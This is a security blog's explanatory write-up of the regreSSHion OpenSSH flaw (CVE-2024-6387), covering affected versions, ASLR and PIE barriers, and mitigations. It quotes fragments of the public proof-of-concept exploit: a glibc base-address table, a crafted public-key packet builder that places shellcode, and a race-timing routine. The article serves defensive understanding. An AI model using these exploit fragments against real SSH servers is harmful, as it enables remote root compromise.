Blog

Research & Tutorials

Jul 8, 2024

RegreSSHion exploit, CVE-2024-6387: A Write-Up

In this blog post, we will be explaining the new RegreSSHion exploit, CVE-2024-6387 and how it works.

9 min read

A scary truth about cyber defense is that occasionally patches don’t work as expected, or accidentally get removed later on. That happened for OpenSSH on Linux and FreeBSD. A patch for an older exploit CVE-2006-5051, got partially hindered years later by a signal handler getting cut from the code, likely by mistake. This mistake has been given the exploit name regreSSHion as a play on the word “regression” and the protocol involved in the exploit, “SSH”.

Researchers found a possible way to abuse this code regression to obtain remote access as the system root user to some systems. This means potential complete compromise and control of a system by a remote attacker.

Interestingly enough, the upstream source of OpenSSH, OpenBSD, has correctly handled this exploit condition since the year 2001 and was never vulnerable to regreSSHion because of other functionality-related to how the exploitable signal path is dealt with differently in OpenBSD. Most modern systems have some kind of mitigation preventing this regreSSHion from being easily successful.

OpenSSH is a well-refined piece of software, used widely around the world. For many important systems, it is one of the trusted connection mechanisms for administrators to patch, update, and maintain Unix-based systems.

As of the time of this writing, the exploit is possible, but not probable. Not all controls help against regreSSHion, but many can, and many factors reduce the chances of successful exploitation of CVE-2024-6387.

How regreSSHion works

This advisory from Qualys was the initial public announcement on July 1st, 2024:

https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt

This exploit works because a signal handler in OpenSSH exposes an opportunity for some glibc Linux distributions to insert instructions into the heap at the same time privileged execution is taking place. This works by identifying the location in the heap to insert the malicious payload, doing a fake key exchange process to get the payload parsed, then doing a timing attack to modify the heap at the exact moment the privileged execution occurs, swapping in the malicious action.

Some versions of OpenSSH are theoretically vulnerable to this attack:

  • Old OpenSSH versions earlier than 4.4p1 are vulnerable unless patched for CVE-2006-5051 and CVE-2008-4109
  • Versions 4.4p1 up to before 8.5p1 are not vulnerable due to a patch for CVE-2006-5051
  • The vulnerability resurfaces in versions after 8.5p1 before 9.8p1

Next, let’s break down the attack and some of the barriers to successful exploitation.

ASLR and PIE of 32-bit and 64-bit ELF binaries

One of the first aspects that is to be overcome when attacking with regreSSHion exploit, is overcoming the Address Space Layout Randomization (ASLR). ASLR is a security technique that involves randomizing the memory layout of functions to make it more difficult

for attackers to guess where to insert malware into running memory.

Because of this factor alone, many systems are not as easily vulnerable to attacks such as regreSSHion.

In this example exploit code, we see an attempt at ASLR bypass, or at least a placeholder for us to insert values. It is creating an array of memory addresses as unsigned 64-bit integers. This array is populated in the concept code with two values “0xb7200000” and “0xb7400000”.

// Possible glibc base addresses (for ASLR bypass)

uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };

int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

This is not effective on modern 64-bit compiled programs. The 32-bit operating system compiled versions are easier to exploit, in part because the ASLR is more limited and more vulnerable. This is the case because the 32-bit address space has less range than the 64-bit address space. In this case, specifically, it was found that old 32-bit Debian glibc was compiled most often to use these two “0xb7200000” and “0xb7400000” addresses, so it works okay as a bypass for many 32-bit compiled versions.

Some people make mistakes while compiling that also weaken or skip ASLR. ASLR is a kernel feature that all modern kernels support, while Position-Independent Executable (PIE, support for ASLR) is a per binary property set at compile time. If PIE is skipped at compile time for some reason, or if the running kernel has ASLR disabled, protection is turned off. If such a situation came up in the context of regreSSHion, then the chance of successful exploitation is potentially higher. There are other similar mitigations as ASLR to handle as well to succeed in exploitation.

In order to ensure the Linux kernel has ASLR enabled for the heap (memory) as well, we can check the “randomize_va_space” value is set to “2”.

$ cat /proc/sys/kernel/randomize_va_space
2

To set the tunable during runtime as the root user, we can use either “echo” or “sysctl”.

$ echo 2 > /proc/sys/kernel/randomize_va_space
$ sysctl -w kernel.randomize_va_space=2

To permanently set heap-level ASLR, add the kernel.randomize_va_space = 2 to /etc/sysctl.conf, so that the setting persists after reboots. This is typically a default setting.

To check if an ELF file is compiled for PIE, we can use the __readelf__ command.

$ readelf -h /usr/sbin/sshd | grep Type
  Type:  DYN (Position-Independent Executable file)

But it is the glibc library that we need to consider in the concept exploit. When a shared library is compiled to support ASLR, we tend to refer to that as Position-Independent Code (PIC) rather than PIE, since it isn’t a stand-alone executable, and what is going on is different. To check if that a shared library is compiled for PIC, we can use __objdump__, and examine the properties. We can look for the “dynamic” section, as well as the lack of a “TEXTREL” section are good indicators that the library was compiled with PIC.

$ objdump -h /usr/lib/x86_64-linux-gnu/libc.so.6
...

$ objdump -p /usr/lib/x86_64-linux-gnu/libc.so.6
...

Shared libraries are sometimes partially PIC and, in some cases can be more complex or mixed than simply avoiding TEXTREL. However, the lack of “TEXTREL” and the presence of “dynamic” are good indicators. There are other techniques and tools that can be used to explore PIC and PIE properties further.

ASLR and PIE are not the only controls at this level that helps. There is also the NX-bit (no execution bit), also known as the XD bit or XI bit. This CPU-specific kernel feature is one that provides executable space protection, reducing adversaries’ ability to execute instructions from unexpected places in the heap.

Even though defeating 64-bit ASLR is harder than defeating 32-bit ASLR, it is not impossible. The same Qualys researchers have reported they continue to work on bypassing 64-bit ASLR for regreSSHion.

A fake key-exchange

The proof-of-concept from Qualys includes the use of the public key data segment to send the exploit payload. The public key parser is exploited in this demo, not the authentication logic itself. This is also a fragile point in the chain where we could have a mismatch between allowed key types or other key exchange parameters.

The public proof of concept code for regreSSHion used a crafted public key as the payload delivery mechanism. This can be done by setting the first part of the fake public key to an expected header, then including the shellcode instructions to the heap in the same packets, fitting the allocated size constraints.

void create_public_key_packet(unsigned char * packet, size_t size, uint64_t glibc_base) {
  memset(packet, 0, size);
  size_t offset = 0;

  for (int i = 0; i < 27; i++) {
    // malloc(~4KB) - This is for the large hole
    *(uint32_t * )(packet + offset) = CHUNK_ALIGN(4096);
    offset += CHUNK_ALIGN(4096);

    // malloc(304) - This is for the small hole (potential FILE structure)
    *(uint32_t * )(packet + offset) = CHUNK_ALIGN(304);
    offset += CHUNK_ALIGN(304);
  }

  // Add necessary headers for the SSH public key format
  memcpy(packet, "ssh-rsa ", 8);

  // Place shellcode in the heap via previous allocations
  memcpy(packet + CHUNK_ALIGN(4096) * 13 + CHUNK_ALIGN(304) * 13, shellcode, sizeof(shellcode));

  // Set up the fake FILE structures within the packet
  for (int i = 0; i < 27; i++) {
    create_fake_file_structure(packet + CHUNK_ALIGN(4096) * (i + 1) + CHUNK_ALIGN(304) * i,
      CHUNK_ALIGN(304), glibc_base);
  }
}

This demo approach may not be comprehensive but demonstrates the idea. The shellcode inserted (not shown above) in the public exploit code is simply several “no operation” (NOP) instructions of “\0x90”. In a real exploit attempt, we would expect that shellcode to be replaced with the shellcode for the malicious action to be executed with superuser permissions, such as to open a reverse shell or modify the system.

The timing problem

After accomplishing all of that, we are not yet to the point of exploiting regreSSHion, just the setup. Now we have a timing problem, a race condition, that we have to hit exactly on time when the remote computer runs the unsafe function.

This timing problem can be addressed by micro-tuning small amounts of sleep built into the exploit code.

int

attempt_race_condition(int sock, double parsing_time, uint64_t glibc_base)

{

  unsigned char final_packet[MAX_PACKET_SIZE];

  create_public_key_packet(final_packet, sizeof(final_packet), glibc_base);

  // Send all but the last byte

  if (send(sock, final_packet, sizeof(final_packet) - 1, 0) < 0)

  {

    perror("send final packet");

    return 0;

  }

  // Precise timing for last byte

  struct timespec start, current;

  clock_gettime(CLOCK_MONOTONIC, & start);

  while (1)

  {

    clock_gettime(CLOCK_MONOTONIC, & current);

    double elapsed = (current.tv_sec - start.tv_sec)

      +
      (current.tv_nsec - start.tv_nsec) / 1e9;

    if (elapsed >= (LOGIN_GRACE_TIME - parsing_time - 0.001))

    { // 1ms before SIGALRM

      if (send(sock, & final_packet[sizeof(final_packet) - 1], 1, 0) < 0)

      {

        perror("send last byte");

        return 0;

      }

      break;

    }

  }

The remote processing of our crafted malicious packet must match up precisely with the moment that the unsafe privileged call is made. If the timing is lined up, the heap can be crafted to insert the malicious instructions.

Deciding to set grace to 0

While there are patches that can be applied, there are also other workarounds and approaches to mitigation. The official workaround mitigation at the time of this writing is to set the login grace period to zero in the sshd configuration. This can be done easily and without downtime, however, there is a catch to applying this configuration: it opens the door for a possible Denial of Service (DoS).

$ vim /etc/ssh/sshd_config

# set the LoginGraceTime to the value of 0

LoginGraceTime 0

$ systemctl restart ssh

There may be numerous other layers that can protect SSH from DoS, but we’ll likely want to consider those if we select this mitigation.

SSH rate-limiting and beyond

As mentioned in the advisory, the 32-bit sshd took around 10,000 guesses to hit a successful execution on average. Because of this higher number, it might be possible to more easily identify such activity. However, if the tests are slower and drawn out, taking months or years to do the 10,000, that may slip through rate limits and some types of event correlation.

Most default SSH protocol rate limiting is done by software such as firewalls, fail2ban, and the SSH libraries and configurations themselves. Firewalls may rate limit the TCP level activity for port 22, while fail2ban (or similar) may match repeated failures to an abuse event to then automatically apply a temporary firewall rule, while the ssh configuration itself sets application timeouts and specifications.

Post-exploitation is also a point we would expect XDR/EDR to detect and ideally contain an intruder, or at the least alert the appropriate staff to engage. If the system is thoroughly hardened, the intruder that successfully gets to the point of exploitation may find they can’t do much with the exploit. 

Adversaries can of course try harder within limitations and still possibly accomplish malicious activities. But the more defenders can limit and restrict, the lower the chances of successful abuse.

Conclusion

Modern mitigations can handle this possibility rather effectively, but this exploit potential is still worthy of ongoing evaluation. Very few targets are running without 64-bit ASLR, those that are not may be at increased risk. And in time, a researcher may come up with an effective 64-bit ASLR bypass for this exploit. Those running very old 32-bit Linux, those that would be vulnerable to the original CVE, are also those most vulnerable in this case.

There are many reasons why this exploit can fail, from ASLR, to key exchange handling failure, to the timing not matching up perfectly, to mandatory access controls, to eBPF, to process settings, to firewalls. The attack can be run for days without any good results. But there is a chance it could work in fewer tries, a small chance.

As of the time of this writing, there is more research to do, and we can expect the exploits will improve.

If an attacker knows the software version details of a vulnerable victim, that could increase the likelihood of an exploit being successful. If internet systems are 32-bit systems and/or weak-ASLR, really old kernels running with exposed SSH, then there is a reasonable chance of this regreSSHion.

Alpine Linux and OpenBSD are seemingly not vulnerable to this attack. RHEL 9 has the potential, but the path to exploitation is so far largely stopped by other controls. And there are simple steps we can take, such as applying a patch or config setting that can be used to mitigate this potential exploit vector.